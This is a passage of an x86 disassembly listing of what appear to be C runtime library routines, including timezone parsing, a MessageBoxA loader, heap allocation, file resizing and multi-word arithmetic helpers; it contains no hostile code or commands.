		cmp	[esp+14h+var_4], ebp
		jnz	loc_41E3B2
		mov	eax, ds:off_4387A0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41E3BA
; ---------------------------------------------------------------------------


loc_41E28B:				; CODE XREF: sub_41E162+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41E3BA
		mov	eax, ds:dword_46973C
		cmp	eax, ebp
		jz	short loc_41E2AE
		push	eax
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41E3BA


loc_41E2AE:				; CODE XREF: sub_41E162+139j
		push	ds:dword_46973C
		call	sub_415E3D
		push	esi
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_415DC9
		add	esp, 0Ch
		cmp	eax, ebp
		mov	ds:dword_46973C, eax
		jz	loc_41E3BA
		push	esi
		push	eax
		call	sub_415C00
		push	3
		push	esi
		push	ds:off_43879C
		call	sub_416D40
		mov	eax, ds:off_43879C
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41E303
		push	1
		inc	esi
		pop	edi


loc_41E303:				; CODE XREF: sub_41E162+19Bj
		push	esi
		call	sub_4159D4
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	ds:dword_438710, ecx


loc_41E31A:				; CODE XREF: sub_41E162+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41E328
		cmp	al, bl
		jl	short loc_41E32B
		cmp	al, 39h
		jg	short loc_41E32B


loc_41E328:				; CODE XREF: sub_41E162+1BCj
		inc	esi
		jmp	short loc_41E31A
; ---------------------------------------------------------------------------


loc_41E32B:				; CODE XREF: sub_41E162+1C0j
					; sub_41E162+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41E37E
		inc	esi
		push	esi
		call	sub_4159D4
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, ds:dword_438710
		add	ecx, eax
		mov	ds:dword_438710, ecx


loc_41E349:				; CODE XREF: sub_41E162+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41E356
		cmp	al, 39h
		jg	short loc_41E356
		inc	esi
		jmp	short loc_41E349
; ---------------------------------------------------------------------------


loc_41E356:				; CODE XREF: sub_41E162+1EBj
					; sub_41E162+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41E37E
		inc	esi
		push	esi
		call	sub_4159D4
		pop	ecx
		mov	ecx, ds:dword_438710
		add	ecx, eax
		mov	ds:dword_438710, ecx


loc_41E371:				; CODE XREF: sub_41E162+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41E37E
		cmp	al, 39h
		jg	short loc_41E37E
		inc	esi
		jmp	short loc_41E371
; ---------------------------------------------------------------------------


loc_41E37E:				; CODE XREF: sub_41E162+1CCj
					; sub_41E162+1F7j ...
		cmp	edi, ebp
		jz	short loc_41E38A
		neg	ecx
		mov	ds:dword_438710, ecx


loc_41E38A:				; CODE XREF: sub_41E162+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	ds:dword_438714, eax
		jz	short loc_41E3B2
		push	3
		push	esi
		push	ds:off_4387A0
		call	sub_416D40
		mov	eax, ds:off_4387A0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41E3BA
; ---------------------------------------------------------------------------


loc_41E3B2:				; CODE XREF: sub_41E162+10Bj
					; sub_41E162+115j ...
		mov	eax, ds:off_4387A0
		and	byte ptr [eax],	0


loc_41E3BA:				; CODE XREF: sub_41E162+40j
					; sub_41E162+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41E162	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C0	proc near		; CODE XREF: sub_41B7EE+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_438714, edi
		jnz	short loc_41E3D4


loc_41E3CD:				; CODE XREF: sub_41E3C0+148j
					; sub_41E3C0+150j ...
		xor	eax, eax
		jmp	loc_41E520
; ---------------------------------------------------------------------------


loc_41E3D4:				; CODE XREF: sub_41E3C0+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, ds:dword_4387A8
		jnz	short loc_41E3F2
		cmp	eax, ds:dword_4387B8
		jz	loc_41E4F4


loc_41E3F2:				; CODE XREF: sub_41E3C0+24j
		cmp	ds:dword_469688, edi
		jz	loc_41E4CA
		movzx	ecx, ds:word_469736
		push	ecx
		cmp	ds:word_469728,	di
		movzx	ecx, ds:word_469734
		push	ecx
		movzx	ecx, ds:word_469732
		push	ecx
		movzx	ecx, ds:word_469730
		push	ecx
		jnz	short loc_41E444
		movzx	ecx, ds:word_46972C
		push	edi
		push	ecx
		movzx	ecx, ds:word_46972E
		push	ecx
		movzx	ecx, ds:word_46972A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41E458
; ---------------------------------------------------------------------------


loc_41E444:				; CODE XREF: sub_41E3C0+65j
		movzx	ecx, ds:word_46972E
		push	ecx
		push	edi
		movzx	ecx, ds:word_46972A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41E458:				; CODE XREF: sub_41E3C0+82j
		push	ebx
		call	sub_41E56C
		movzx	eax, ds:word_4696E2
		add	esp, 2Ch
		cmp	ds:word_4696D4,	di
		push	eax
		movzx	eax, ds:word_4696E0
		push	eax
		movzx	eax, ds:word_4696DE
		push	eax
		movzx	eax, ds:word_4696DC
		push	eax
		jnz	short loc_41E4B2
		movzx	eax, ds:word_4696D8
		push	edi
		push	eax
		movzx	eax, ds:word_4696DA
		push	eax
		movzx	eax, ds:word_4696D6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41E4A7:				; CODE XREF: sub_41E3C0+108j
		push	edi
		call	sub_41E56C
		add	esp, 2Ch
		jmp	short loc_41E4F4
; ---------------------------------------------------------------------------


loc_41E4B2:				; CODE XREF: sub_41E3C0+C8j
		movzx	eax, ds:word_4696DA
		push	eax
		push	edi
		movzx	eax, ds:word_4696D6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41E4A7
; ---------------------------------------------------------------------------


loc_41E4CA:				; CODE XREF: sub_41E3C0+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41E56C
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41E56C
		add	esp, 58h


loc_41E4F4:				; CODE XREF: sub_41E3C0+2Cj
					; sub_41E3C0+F0j
		mov	edx, ds:dword_4387AC
		mov	eax, ds:dword_4387BC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41E524
		cmp	ecx, edx
		jl	loc_41E3CD
		cmp	ecx, eax
		jg	loc_41E3CD
		cmp	ecx, edx
		jle	short loc_41E538
		cmp	ecx, eax
		jge	short loc_41E538


loc_41E51E:				; CODE XREF: sub_41E3C0+166j
					; sub_41E3C0+16Aj
		mov	eax, ebx


loc_41E520:				; CODE XREF: sub_41E3C0+Fj
					; sub_41E3C0+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E524:				; CODE XREF: sub_41E3C0+144j
		cmp	ecx, eax
		jl	short loc_41E51E
		cmp	ecx, edx
		jg	short loc_41E51E
		cmp	ecx, eax
		jle	short loc_41E538
		cmp	ecx, edx
		jl	loc_41E3CD


loc_41E538:				; CODE XREF: sub_41E3C0+158j
					; sub_41E3C0+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41E55F
		xor	ecx, ecx
		cmp	eax, ds:dword_4387B0
		setnl	cl


loc_41E55B:				; CODE XREF: sub_41E3C0+1AAj
		mov	eax, ecx
		jmp	short loc_41E520
; ---------------------------------------------------------------------------


loc_41E55F:				; CODE XREF: sub_41E3C0+18Ej
		xor	ecx, ecx
		cmp	eax, ds:dword_4387C0
		setl	cl
		jmp	short loc_41E55B
sub_41E3C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E56C	proc near		; CODE XREF: sub_41E3C0+99p
					; sub_41E3C0+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41E607
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41E597
		shl	esi, 2
		mov	eax, ds:dword_4387C0[esi]
		jmp	short loc_41E5A0
; ---------------------------------------------------------------------------


loc_41E597:				; CODE XREF: sub_41E56C+1Ej
		shl	esi, 2
		mov	eax, ds:dword_4387F4[esi]


loc_41E5A0:				; CODE XREF: sub_41E56C+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_41E5DA
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41E5E4
; ---------------------------------------------------------------------------


loc_41E5DA:				; CODE XREF: sub_41E56C+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41E5E4:				; CODE XREF: sub_41E56C+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41E622
		cmp	[ebp+arg_8], 0
		jnz	short loc_41E5F8
		mov	esi, ds:dword_4387C4[esi]
		jmp	short loc_41E5FE
; ---------------------------------------------------------------------------


loc_41E5F8:				; CODE XREF: sub_41E56C+82j
		mov	esi, ds:dword_4387F8[esi]


loc_41E5FE:				; CODE XREF: sub_41E56C+8Aj
		cmp	ecx, esi
		jle	short loc_41E622
		sub	ecx, 7
		jmp	short loc_41E622
; ---------------------------------------------------------------------------


loc_41E607:				; CODE XREF: sub_41E56C+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41E618
		mov	ecx, ds:dword_4387C0[eax*4]
		jmp	short loc_41E61F
; ---------------------------------------------------------------------------


loc_41E618:				; CODE XREF: sub_41E56C+A1j
		mov	ecx, ds:dword_4387F4[eax*4]


loc_41E61F:				; CODE XREF: sub_41E56C+AAj
		add	ecx, [ebp+arg_18]


loc_41E622:				; CODE XREF: sub_41E56C+7Cj
					; sub_41E56C+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41E653
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_4387AC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	ds:dword_4387A8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_4387B0, eax
		jmp	short loc_41E6A8
; ---------------------------------------------------------------------------


loc_41E653:				; CODE XREF: sub_41E56C+BAj
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_4387BC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, ds:dword_438718
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_4387C0, eax
		jns	short loc_41E68B
		add	eax, 5265C00h
		dec	ecx
		mov	ds:dword_4387C0, eax
		jmp	short loc_41E69C
; ---------------------------------------------------------------------------


loc_41E68B:				; CODE XREF: sub_41E56C+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41E6A2
		sub	eax, edx
		inc	ecx
		mov	ds:dword_4387C0, eax


loc_41E69C:				; CODE XREF: sub_41E56C+11Dj
		mov	ds:dword_4387BC, ecx


loc_41E6A2:				; CODE XREF: sub_41E56C+126j
		mov	ds:dword_4387B8, ebx


loc_41E6A8:				; CODE XREF: sub_41E56C+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E56C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6AC	proc near		; CODE XREF: seg000:0041C7EDp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41E6BD
		add	esp, 0Ch
		retn
sub_41E6AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6BD	proc near		; CODE XREF: sub_41E6AC+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_46A9C1[eax], cl
		jnz	short loc_41E6EA
		cmp	[esp+arg_4], 0
		jz	short loc_41E6E3
		movzx	eax, ds:word_437D6A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41E6E5
; ---------------------------------------------------------------------------


loc_41E6E3:				; CODE XREF: sub_41E6BD+16j
		xor	eax, eax


loc_41E6E5:				; CODE XREF: sub_41E6BD+24j
		test	eax, eax
		jnz	short loc_41E6EA
		retn
; ---------------------------------------------------------------------------


loc_41E6EA:				; CODE XREF: sub_41E6BD+Fj
					; sub_41E6BD+2Aj
		push	1
		pop	eax
		retn
sub_41E6BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6EE	proc near		; CODE XREF: sub_41CF19+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_469744, ebx
		push	esi
		push	edi
		jnz	short loc_41E73D
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4210C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41E773
		mov	esi, ds:dword_4210C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; dword_4210C4
		test	eax, eax
		mov	ds:dword_469744, eax
		jz	short loc_41E773
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi ; dword_4210C4
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_469748, eax
		call	esi ; dword_4210C4
		mov	ds:dword_46974C, eax


loc_41E73D:				; CODE XREF: sub_41E6EE+Bj
		mov	eax, ds:dword_469748
		test	eax, eax
		jz	short loc_41E75C
		call	eax ; dword_469748
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41E75C
		mov	eax, ds:dword_46974C
		test	eax, eax
		jz	short loc_41E75C
		push	ebx
		call	eax ; dword_46974C
		mov	ebx, eax


loc_41E75C:				; CODE XREF: sub_41E6EE+56j
					; sub_41E6EE+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	ds:dword_469744


loc_41E76F:				; CODE XREF: sub_41E6EE+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E773:				; CODE XREF: sub_41E6EE+1Cj
					; sub_41E6EE+33j
		xor	eax, eax
		jmp	short loc_41E76F
sub_41E6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E777	proc near		; CODE XREF: sub_41D0D6+22p
					; sub_41D0D6+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_41E797
		test	esi, esi
		jnz	short loc_41E791
		push	1
		pop	esi


loc_41E791:				; CODE XREF: sub_41E777+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41E797:				; CODE XREF: sub_41E777+11j
					; sub_41E777+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41E7C8
		cmp	ebx, ds:dword_437F7C
		ja	short loc_41E7B3
		push	ebx
		call	sub_418E53
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41E7DE


loc_41E7B3:				; CODE XREF: sub_41E777+2Dj
		push	esi
		push	8
		push	ds:dword_46AAE0
		call	ds:dword_42114C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41E7EA


loc_41E7C8:				; CODE XREF: sub_41E777+25j
		cmp	ds:dword_4694E4, 0
		jz	short loc_41E7EA
		push	esi
		call	sub_418A68
		test	eax, eax
		pop	ecx
		jz	short loc_41E7F0
		jmp	short loc_41E797
; ---------------------------------------------------------------------------


loc_41E7DE:				; CODE XREF: sub_41E777+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_415570
		add	esp, 0Ch


loc_41E7EA:				; CODE XREF: sub_41E777+4Fj
					; sub_41E777+58j
		mov	eax, edi


loc_41E7EC:				; CODE XREF: sub_41E777+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E7F0:				; CODE XREF: sub_41E777+63j
		xor	eax, eax
		jmp	short loc_41E7EC
sub_41E777	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D17B


loc_41E7F4:				; CODE XREF: sub_41D17B+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	ds:dword_46A780, esi
		jle	short loc_41E847


loc_41E803:				; CODE XREF: sub_41D17B+16CAj
		mov	eax, ds:dword_469770
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E83E
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41E822
		push	eax
		call	sub_415B40
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E822
		inc	edi


loc_41E822:				; CODE XREF: sub_41D17B+1698j
					; sub_41D17B+16A4j
		cmp	esi, 14h
		jl	short loc_41E83E
		mov	eax, ds:dword_469770
		push	dword ptr [eax+esi*4]
		call	sub_415E3D
		mov	eax, ds:dword_469770
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_41E83E:				; CODE XREF: sub_41D17B+1692j
					; sub_41D17B+16AAj
		inc	esi
		cmp	esi, ds:dword_46A780
		jl	short loc_41E803


loc_41E847:				; CODE XREF: sub_41D17B+1686j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41D17B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E84C	proc near		; CODE XREF: sub_41D55A+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_415D70
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, ds:dword_46A8A0
		jnb	loc_41E981
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_46A7A0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41E981
		push	1
		push	esi
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41E98B
		push	2
		push	esi
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41E98B
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E92E
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_415570
		push	8000h
		push	ebx
		call	sub_41F486
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41E8E2:				; CODE XREF: sub_41E84C+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41E8ED
		mov	eax, edi


loc_41E8ED:				; CODE XREF: sub_41E84C+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41C42A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E90B
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E921
		jmp	short loc_41E8E2
; ---------------------------------------------------------------------------


loc_41E90B:				; CODE XREF: sub_41E84C+B5j
		cmp	ds:dword_469488, 5
		jnz	short loc_41E91E
		mov	ds:dword_469484, 0Dh


loc_41E91E:				; CODE XREF: sub_41E84C+C6j
		or	esi, 0FFFFFFFFh


loc_41E921:				; CODE XREF: sub_41E84C+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41F486
		pop	ecx
		pop	ecx
		jmp	short loc_41E96E
; ---------------------------------------------------------------------------


loc_41E92E:				; CODE XREF: sub_41E84C+71j
		jge	short loc_41E96E
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41BB7F
		push	ebx
		call	sub_41D4C6
		add	esp, 10h
		push	eax
		call	near ptr 0A80000h
		push	ebp
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41E96E
		mov	ds:dword_469484, 0Dh
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_469488, eax


loc_41E96E:				; CODE XREF: sub_41E84C+E0j
					; sub_41E84C:loc_41E92Ej ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41E98E
; ---------------------------------------------------------------------------


loc_41E981:				; CODE XREF: sub_41E84C+1Aj
					; sub_41E84C+36j
		mov	ds:dword_469484, 9


loc_41E98B:				; CODE XREF: sub_41E84C+4Ej
					; sub_41E84C+63j
		or	eax, 0FFFFFFFFh


loc_41E98E:				; CODE XREF: sub_41E84C+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41E84C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E992	proc near		; CODE XREF: sub_41D9C5+2Bp
					; sub_41D9C5+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41E9A8
		cmp	ecx, esi
		jnb	short loc_41E9AB


loc_41E9A8:				; CODE XREF: sub_41E992+10j
		push	1
		pop	eax


loc_41E9AB:				; CODE XREF: sub_41E992+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41E992	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9B3	proc near		; CODE XREF: sub_41EA6C+40p
					; sub_41EA6C+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9E5
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9E5
		inc	dword ptr [esi+8]


loc_41E9E5:				; CODE XREF: sub_41E9B3+19j
					; sub_41E9B3+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9FD
		inc	dword ptr [esi+8]


loc_41E9FD:				; CODE XREF: sub_41E9B3+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41E992
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41E9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA11	proc near		; CODE XREF: sub_41EA6C+30p
					; sub_41EA6C+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41EA11	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA3F	proc near		; CODE XREF: sub_41F004+1C8p
					; sub_41F4FC+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41EA3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6C	proc near		; CODE XREF: sub_41EB33+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41EAE0
		push	edi
		mov	[ebp+arg_8], eax


loc_41EA93:				; CODE XREF: sub_41EA6C+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41EA11
		push	ebx
		call	sub_41EA11
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41E9B3
		push	ebx
		call	sub_41EA11
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41E9B3
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41EA93
		xor	edx, edx
		pop	edi


loc_41EAE0:				; CODE XREF: sub_41EA6C+21j
					; sub_41EA6C+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41EB0D
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41EAE0
; ---------------------------------------------------------------------------


loc_41EB0D:				; CODE XREF: sub_41EA6C+77j
		mov	esi, 8000h


loc_41EB12:				; CODE XREF: sub_41EA6C+B9j
		test	[ebx+8], esi
		jnz	short loc_41EB27
		push	ebx
		call	sub_41EA11
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41EB12
; ---------------------------------------------------------------------------


loc_41EB27:				; CODE XREF: sub_41EA6C+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41EA6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB33	proc near		; CODE XREF: sub_41DD0E+17p
					; sub_41DD3B+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
